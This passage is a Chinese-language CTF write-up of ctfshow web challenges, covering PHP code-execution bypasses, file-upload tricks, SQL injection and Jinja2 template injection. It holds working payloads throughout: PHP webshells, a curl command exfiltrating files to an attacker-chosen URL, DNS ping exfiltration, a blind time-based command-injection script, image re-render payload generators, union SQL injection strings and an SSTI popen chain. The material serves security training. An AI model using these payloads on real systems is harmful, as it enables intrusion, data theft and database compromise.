他调用v1,v1没有任何过滤所以它可以执行任何函数,也就是说我们可以把构造的数字字符串转换成标准字符串hex2bin,特殊字符是无法转换成16进制的,但是因为他对V3没有任何过滤,也就是我们可以用伪协议来读取我们输入的数据,也就是说我们可以对我们的数据进行base64加密,然后再转换成16进制,而且需要保证转化成的16进制除了e之外没有别的字母才可以被判断成数字字符串(因为V2取第二个之后的,所以我们解码完成之后再前面需要添加两位,因为他是四个一组,而他的总共长度只有30我们正好可以在前面添加两个数字,一二开头的两位数好像都可以把)
最终payload:
<?=`cat *`;
web 103
跟上面一条相比增加了一层过滤但是是在str里面所以直接用上面的就可以
web 104
他对v1 v2没有任何要求,他们俩相等就行
web 105
<?php
highlight_file(__FILE__);
include('');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){#对GET进行遍历
if($key==='error'){#参数不能有error
die("what are you doing?!");
}
$$key=$$value;#进行覆盖赋值
}foreach($_POST as $key => $value){#对POST参数进行遍历
if($value==='flag'){#参数不能有flag
die("what are you doing?!");
}
$$key=$$value;#覆盖赋值
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
suces=flag = 》 $suces = $flag绕过第一个flag
error = suces =》 $error = s u c e s = 》 suces = 》 suces=》error = $flag
flag直接不传,进入下面的if然后直接输出error
web 106
数组绕过
web 107
parse_str — 将字符串解析成多个变量
也就是说我们V1需要传入一组key=value的形式key是flag要他的value等于v3MD5之后的值,我们可以找MD5之后为0e开头的数然后让flag = 0
web 108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
所以随便输入一串字符串然后截断后面填写我们需要的数字877的反转778
web 109
可以抛出一个异常,或者用上面的反射类,直接反射出其中v2中的内容v2构造system(‘cat ’)
web 110
学到一个类:获取指定目录下的所有文件的类 FilesystemIterator
以及一个函数:返回当前目录:getcwd
但是我的flag文件好像不在第一个,没拿到flag,解法没错的
web 111
题目的意思是v1得等于ctfshow然后V2必须是全是英文字符然后赋值给v1执行var_dump,因为没有给其他的变量,所以我们可以用全局变量来解决,直接构造var_dump(GLOBALS)
web 112
直接用伪协议读取就好了
php://filter/read=convert/resource=
web 113
过滤了filter,另找方法:://这个函数相当于gzpoen,因为括号被禁用所以用这个替代
gzopen(),一般用来打开gzip文件读写,可用于读取非gzip格式的文件;在这种情况下,gzread()将直接从文件读取而不进行解压缩。
据说还有一种方法绕过is_file:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容.多次重复后可以绕过is_file
web 114
这里虽然过滤了compress但是又把filter放出来了,过滤了convert过滤器,我们可以不经过过滤直接读
php://filter/resource=
web 115
我们需要输入这个num但是num要经过trim过滤
此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符:
◦ " " (ASCII 32 (0x20)),普通空格符。
◦ "\t" (ASCII 9 (0x09)),制表符。
◦ "\n" (ASCII 10 (0x0A)),换行符。
◦ "\r" (ASCII 13 (0x0D)),回车符。
◦ "\0" (ASCII 0 (0x00)),空字节符。
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。
然后还要经过上面的替换,这个过滤的话,我们可以写一个简单的fuzz
<?php
for($i=0;$i<129;$i++){
$s = chr($i).'1';
if(is_numeric($s) and tirm($s)!=='1')
echo(urlencode(chr($i).'\n');
}
%0c 换页符
%2B +
加会被替换所以用%0c36
web 123
php的变量名是只能有数字字母下划线的,其中的空格 + [ .
会被替换成下划线,但是有一个特性可以变量里面出现.
那就是[
这个符号出现之后被替换成下划线但是后面的符号是不会被替换的,后面的点也就会维持原样
CTF_SHOW.COM =>CTF[=>CTF_SHOW.COM
然后进入eval($c.’;’),没有任何过滤直接echo $flag
web 125
没有过滤highlight_file,给fun一个get传参,然后gei传入一个
web 126
$a=$_SERVER['argv'];
这个函数在我们输入参数时进行记录或者覆盖
比如:
<?php
$a=$_SERVER['argv'];
var_dump($a);
#var_dump(get_defined_vars());
?>
当我们直接传入参数时她会记录在数组中
比如我们传入aaa=bbb时她会返回array(1) { [0]=> string(7) "aaa=bbb" }
这样我们就可以将其分割成数组形式进行变量覆盖parse_str进行分割
payload
get:?c=1+fl0g=flag_give_me
post:CTF_SHOW=1&CTF[=1&fun=parse_str($a[1])
或者直接用assert也行
get:?$fl0g=flag_give_me
post:CTF_SHOW=1&CTF[=1&fun=assert($a[0])
因为assert中传入字符串是会当作代码执行,也就是说我们直接把flag_give_me赋值给了fl0g
web 127
fuzz一下看一下没有被过滤的字符
space % & 0 1 2 3 4 5 6 7 8 9 = ? A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z |
我们需要构造覆盖,但是下划线被过滤了,我们知道有几个字符在get传参是会自动转换成下划线space [ . +
而且后面三个都被过滤了所以用空格就行
web 128
学到一个骚姿势:
gettext() 或者_()
她会实现程序的国际化:
假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。
这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。
这样我们就可以查看后面文件中的内容
_(get_defined_vars)之后就会变成
call_user_func(get_defind_vars)直接会返回已经定义的变量数组
web 129
题目得到意思是我们输入的f里面一定要包含ctfshow而且不能在第一位,而且运用的是readfile函数,那么我们就可以想到这个题目意思应该是我们需要猜测flag所在目录,因为必须要包含ctfshow,那么就应该是有一个ctfshow文件夹的存在,我们直接退出目录然后从根目录打开/vat/www/html/
web 130
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复
题目的意思应该是ctfshow之前不能存在东西,然后ctfshow必须在我们输入的数的第一位
直接f=ctfshow
web 131
正则匹配的回溯次数有上线,100万,当我们输入的值超过这个值的时候,他就会溢出,返回直接返回false
也就是说我们在36Dctfshow之前传入一个溢出值,他就会直接绕过第一个正则判断
也就是输入一百万个字符,我们可以直接用四个字符*250000后面接一个36Dctfshow就可以
web 132
&&运算符:全1出1,当左边为0时不计算直接返回0
题目要code是1到877的随机数,如果直接不管他就会直接进后面的||运算,所以我们只需要username=admin就行了
进入到下面的一个判断,需要code等于admin,那么我们直接设定code=admin,username=admin,password=1
就行了
web 133
题目的意思是可以执行命令但是没有回显
我们直接分号截断他的substr就行了
因为只有6个字符,所以我们可以覆盖
f=`$f`;
这样不仅进行了截断还可以继续执行后面我们输入的语句
比如
f=`$f`;+sleep 3;
当我们运行的时候网页确实sleep了
说明我们后面的文件执行了
但是为什么会执行呢
因为我们进行了覆盖
那么现在也就是``$f`; sleep 3;`
``是shell_exec的缩写
也就是shell_exec(`$f`; sleep 3)
前面不用管,后面的函数我们是可以进行控制的
因为他没有回显,我们就可以用反弹shell或者外带的形式,把给传到我们自己的网站这里来
可以用bp接收
payload:
f=`$f`;+curl -X POST -F xx=@ http://+bp给的网址
详细操作:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b8DksPz6-1648304945686)(ctf-show/web133_1.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ediLUzgx-1648304945687)(ctf-show/web133_2.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HV4a51xF-1648304945688)(ctf-show/web133_3.png)]
拿到文件
web 134
由extract($_POST)
以及parse_str($_SERVER['QUERY_STRING'])
组合成的数组覆盖漏洞
首先进入题目是get以及post方式都不能传入key1、key2但是下面得判断key1、key2等于36d
parse_str — 将字符串解析成多个变量
extract — 从数组中将变量导入到当前的符号表
测试一下:
<?php url?_POST[key1]=1
$key1 = 0;
echo "{$key1}";
@parse_str($_SERVER['QUERY_STRING']);
echo "<br />";
var_dump($_POST);
#var_dump(get_defined_vars());
extract($_POST);
echo "<br />{$key1}";
?>
0
array(1) { ["key1"]=> string(1) "1" }
1
可以看到第一开始的时候key1是0但是经过下面的分解之后他将我们在url上面赋值的_POST[key1]=1覆盖原本post值的内容,然后对post进行一个extract
解析成变量名:也就是说我们现在又执行了$key1=1又对key1进行了一次赋值这样可以更改他的值变成36d
web 135
是133plus:
相较上面多过滤了一些函数,curl被过滤了,主要考的还是外带信息,可以用ping
前面跟上面还是一样的但是由curl变成了ping,因为在dnslog不能全回显,所以我们西药用awk以及nr配合读取行数,刚开始读取还是不行我们需要添加一层“正则”匹配一下flag中的数字还有字母,这样才能回显
payload
?F=`$F `; ping `nl f*|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`. -c 1
还有一种方法,就是直接重定向到一个我们新建的文件中,直接访问下载就能拿到flag
nl f*>xxx
然后访问xxx文件就行了
web 136
没有过滤写文件tee,我们可以将前面查询的内容输出到文件
ls /|tee 1
可以将根目录的文件写入1文件中然后将找到的flag文件写入到另一个文件中访问下载即可
骚姿势:
ls |xargs sed -i 's/die/echo/'
ls |xargs sed -i 's/exec/system/'
通过php内部语言将网页中的php代码更改,然后直接命令执行
web 137
讲到调用call_user_func的方法以及->跟::调用类中成员的方法
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说::可以不用实例就能调用类的静态方法
web 138
call_user_func可以传入数组
如果传入的数组是
call_user_func(array($classname,'function1'))
这个时候他就会直接调用classname类中的function1方法
web 139
跟136的代码一模一样,但是不能写文件,所以上面的方法不能用了,需要另外找一个方法:文件盲打
因为没有过滤sleep所以可以进行盲打
原理:
ls / -1 #将根目录文件一行一个表示
awk 'NR==1' #截取第一行
cut -c 1 #截取当前文件名的第一个字符
将我们分割的文件对字母遍历,如果正确就设置一个sleep,如果正确执行则返回
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ukf2cMHq-1648304945689)(ctf-show/web139_1.png)]
我们对这个进行一个判断:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dgpHcYWn-1648304945689)(ctf-show/web139_2.png)]
附上payload脚本:
import requests
import time
import string
result = "+++++++++++"
url = '/?c='
str = "ctfshowabdegijklmnpqrtuvxyz-{}0123456789"
#for i in range(1,5):
for j in range(1,50):
for m in str:
#payload = 'if [ `ls / -1 | cut -c %d | awk "NR==4" ` == "%s" ];then sleep 4;fi' % (j,m) #f149_15_h3r3
payload = 'if [ `cat /f149_15_h3r3 |cut -c %d ` == "%s" ];then sleep 4;fi' %(j,m)
target = url + payload
#print(target)
try:
io = requests.get(target,timeout=(3))
except:
result += m
print(result)
break
result+=" "
web 140
松散比较==:
0=='ctfshow'为真(8.0.0之后为假)
所以我们需要$code为0
也就是说我们只需要一个没有返回值的函数拼接就行了
官方:usleep
也可以使用两个system或者sleep什么的
web 141
url编码的构造形式:但字符串的ascii吗16进制前加%
用^构造出我们需要的字符,但是如何执行呢
构造异或之前写过,可以去翻翻
特性:运算符中间含有语句的时候可以一样执行
phpinfo()
1+phpinfo()+1
其中的phpinfo会一样执行
web 142
数字构造,直接构造0e在转换成int的时候会被判断为0,(—好像直接是0也可以—)
web 143
无字符RCE:
strr = '`!@#\^*="\'()[],/<>?:'
for i in strr:
for j in strr:
for m in strr:
print(chr(ord(i)^ord(j)^ord(m)) +'=%' + str(hex(ord(i)))[2:] +'^%' +str(hex(ord(j)))[2:] + '^%' + str(hex(ord(m))))[2:]
然后拼凑就好了
web 144
过滤从V3变成了V2但是对V2的过滤消失了,所以我们可以把刚刚v3的payload放到v2,然后v3的长度要等于1直接构造1-v2
就行了
web 145
三目运算符的妙用:
return 1?phpinfo():1;
执行phpinfo()
web 146
增加了:过滤,可以用等号然后||绕过
eval("return 1==phpinfo()||1");
也会执行phpinfo
web 147
使用创建函数/create_function
前面添加/作用不仅是绕过,这是默认的命名空间,所有原生类以及函数都在这里,我们调用函数的时候其实是调用了一个相对路径的函数命,如果前面添加了一个/那么我们再调用函数的时候我们就必须加上/使用它的相对路径;
create_function()用法
$a = create_function('$b','return 1;')相当于
function $a($b){
return 1;
}
所以我们直接构造
post:ctf=/create_function()
get:show=;};system('tac f*');##首先先闭合这个函数然后添加我们需要的代码,最后把后面的那个}注释
web 148
可以直接使用上面的^拼凑,过滤换一下就行
wp是直接用上面的那些构造_GET然后用中文作为变量名,进行变量替换执行函数;
$哈="`{{{"^"?<>/";${$哈}[嘿](${$哈}[呜]);&嘿=system&呜=cat%
web 149
题目会将除了文件意外的所有文件都删除(当前目录下),但是它中间给我们留了一行文件写入,我们可以直接在文件中写入一句话木马。
payload:get:ctf= post:show=<?php eval($_POST[1]); ?>
web 150
这个题目里面对文件包含的这个ctf完全的没有做什么过滤只是:
过滤不能使用任何协议。
所以我们可以直接写入日志文件,写入一个一句话木马,然后包含日志文件直接RCE,先得测试一下看看网站时什么服务器,在页面后面随便乱写一些页面,可以看到是nginx服务器,而他的一般日志文件在/var/log/nginx/文件夹下,我们直接提前先写一个文件修改一个user-agent写一个一句话木马,然后包含日志文件最后RCE
web 150_plus
对上面的方法进行了过滤,ctf里面不能包含log得换一个办法,有一说一这个题目有一个缩进问题,导致容易看错,其实下面的function __autoload是独立出来不包含在类里面的,这种魔术方法 在试图使用当前脚本中尚未被定义的类时自动调用,可以看到下面没有回显所以$__CTFSHOW__
这个变量是没有被创建的,但是上面的extract($_GET);
可以进行变量覆盖必须得跟$__CTFSHOW__
不同,所以得使用特性
空格 + [ . 在变量中会被替换成下划线
[之后的上述符号是不会被替换成下划线的
所以我们构造变量覆盖可以构造..CTFSHOW..它就会被解析成__CTFSHOW__既不会进下面的if又可以进行覆盖进入上面的魔术方法,经过魔术方法返回之后可以将其变成函数,构造成
#函数名();
这种语句,直接输入phpinfo就可以执行phpinfo()
flag包含在phpinfo里面
文件上传
web 151
过滤卸载了前端,直接修改前端代码,png改成php直接上传一句话木马
web 152
除去前端的过滤后端也有过滤,但是只过滤了他的后缀格式,我们创建一句话将其改成png后缀发送过去之后抓包,抓到后修改格式就可以成功执行
web 153
同样是抓包修改,但是出现一个问题,php修改后缀之后是无法直接用的,那么我们只能上传图片,然后在上传文件修改服务器的配置文件,让其中的文件改成php语言或者是包含这个文件让其执行。
对apache服务器来说是上传.htaccess文件构造上传,将我们上传的图片文件解析成php语言然后访问执行,如果是nginx服务器的话则是.配置文件,而且这个条件非常苛刻
我们可以在.中设置中PHP_INI_PERDIR和PHP_INI_USER模式的 INI 设置,而且只要是在使用CGI/FastCGI模式的服务器上都可以使用.
题目里面开启了,所以可以用,有两个参数可以设置包含auto_prepend_file
还有auto_append_file
这只一个指定文件相当于使用了包含,文件将其内容包含在了php文件中,而这两个函数的区别则是一个是在文件之前插入一个实在文件之后插入,后者在插入的时候入宫文件结尾有exit()则无法触发。
举个例子:
.
GIF98a
autp_prepend_file=1.jpg
1.jpg
GIF98a
<?php eval($_POST['a']); ?>
GIF98a是一种图形交换格式(GIF)98a版(有时可以绕过检测)
这样他就会被包含在upload里面的文件里面)
web 154
对文件内容加了一层过滤,文件内容不能出现php用<?=
代替<?php
即可
web 155
上面也可以
web 156
过滤了[]
可以直接在文件中调用system函数直接回显
web 157
过滤了分号,因为在末尾直接删除即可
web 158
不知道添加了啥,上一把的可以直接用
web 159
system被ban了,用反引号闭合代替
web 160
反引号被ban,可以使用包含日志文件,因为此服务器是nginx所以日志一般在/var/log/nginx/
括号也被ban所以直接用双引号包裹就行,最后输入进去的时候发现还是不行,测试了一下因为log这边不能在一块,可以分割开来用.
链接
web 161
多了一层对图片识别的过滤,因为我们一直都有加GIF98a所以可以直接过
web 162-163
条件竞争,环境做不了
web 164
图片的二次渲染绕过:摘录一下wu名大佬的脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./');
?>
zui后生成的脚本就是<?$_GET[0]($_POST[1]);?>
将这个文件上传上去就可以进行rce了
web 165
上一题是png二次渲染,这一条是jpg二次渲染,类型差不多,只不过jpg渲染比较繁琐,脚本也比较长,附上脚本:
<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
运行第一次渲染的图片:
php jpg_payload.php
进行二次修改
然后上传就可以看到需要的代码被写进去
web 166
只能上传zip格式,不仅前端后端也有过滤,所以只能上传zip格式,将zip用文本格式打开,在里面添加我们的一句话木马,这样就可以直接运行一句话木马
web 167
有个提示:httpd
以为意味这我们可以通过.htaccess文件修改主配置文件,我们直接修改,因为他只能上传jpg文件所以我们让他将jpg文件用php语言执行,
AddType application/x-httpd-php .jpg
需要抓包修改文件类型上传,需要修改成jpeg文件上传
web 168
基础免杀,上传了png文件抓包可以修改后缀上传,可以发现上传成功,访问也可以正确回显,我们在其中插入phpinfo可以执行
但是如果是eval还有system就会显示null,那么就用反引号还有=号构造系统命令上传,可以执行
web 169
发现文件页面的检查是zip文件,上传之后发现只有png文件可以上传,然后还过滤了<
那么构造php文件的方式就没办法了,但是他是可以新建文件的,如果我们上传文件内容为123她会自动新建一个页面,那么我们在upload文件夹新建一个文件然后用文件修改配置让他包含日志文件,这样的话我们直接在User-Agent头写入一句话木马,然后在这个页面执行就行
web 170
同上,但是nl还有tac命令用的时候不知道出现了什么问题(太菜了没找到),最后用cat也能拿到flag就是了
sql注入
web 171
没有任何过滤那应该在这张表里面,直接用
1'or'1'='1
即可拿到表单的所有信息
(也可以直接查询)
web 172
添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询
最终payload:
-1'union select 1,(select password from ctfshow_user2 where username = flag);--+
或者直接爆他所有的内容。
-1'union select 1,group_concat('~',username,':',password) from ctfshow_user2;--+
web 173
对username进一步过滤,flag不能出现,那么我们直接爆出password所有内容就行
-1'union select 1,2,(select group_concat('~',password) from ctfshow_user3);--+
web 174
SSTI
web 361
这里跳了一下,看一下模板,ssti
题目的提示:名字就是提示,我们只需要在网页的后面以get方式传入一个值就行了
既然是ssti那么我们直接测试一下{{7*‘7’}}看一下
如果返回的是7777777那么就是jinjia2
如果返回的是49那么就是twig
成功返回了49,那就肯定了就是这里。
那么我们直接开始调用里面的魔术方法
''.__class__.__mro__
可以看到object类在2那么数组就是1,然后我们进去看一看它里面的类
''.__class__.__mro__[1].__subclasses__()
可以看到回显了很多类,我们查找可以执行os命令的类
找到了在133,那么数组就是132我们直接调用初始化,然后globals全局来查找可以使用的方法及变量参数
这里面os是空的,继续找,找到popen
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}